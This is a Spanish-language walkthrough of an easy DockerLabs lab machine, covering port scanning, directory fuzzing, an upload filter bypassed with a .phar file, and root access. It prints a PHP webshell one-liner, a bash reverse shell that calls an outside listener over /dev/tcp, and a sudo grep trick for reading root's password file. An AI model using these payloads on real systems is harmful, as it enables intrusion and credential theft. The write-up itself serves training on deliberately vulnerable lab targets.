Máquina: Dockerlabs
SO: Linux
Nivel: Facil
DockerLabs


1. Descubriendo puertos de la maquina objetivo, tenemos funcionando el servicio apache.

sudo nmap -p- -T5 --min-rate=5000 --open -sCV -n -Pn 172.17.0.2

img

2. No encontramos nada importante en la web.

http://172.17.0.2

img

3. Realizamos un poco de fuzzing y encontramos dos ficheros .php.

gobuster dir -u http://172.17.0.2/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -q

img

4. Revisamos estas paginas, en el fichero machine.php tenemos una subida de archivos.

http://172.17.0.2/machine.php

img

5. Creamos nuestro archivo para obtener una webshell, intentamos subir el archivo pero no nos permite.

nano shell.php

<?php system($_GET['cmd']);?>

img img

6. Probando con extensiones variantes de php logro subir el fichero con extension .phar, nuestro fichero lo encontramos en el directorio uploads.

http://172.17.0.2/uploads/shell.phar

img img

7. Nos ponemos en escucha con nc y nos enviamos una reverse shell; ya tenemos acceso a la maquina.

nc -nlvp 4000

http://172.17.0.2/uploads/shell.phar?cmd=bash -c "bash -i>%26 /dev/tcp/192.168.18.8/4000 0>%261"

img img

8. En este punto reviso los privilegios sudo del usuario y encuentro dos binarios, ademas de que encuentro una nota en opt.

sudo -l

cat /opt/nota.txt

img img

9. Ambos binarios nos sirve para poder obtener el contenido de un fichero, nos podemos ayudar con gtfobins para el uso de grep o cut.

sudo /usr/bin/grep '' /root/clave.txt

img

10. Ya con la clave en mano solo nos queda migrar al usuario root.

su root

img


Finalizado.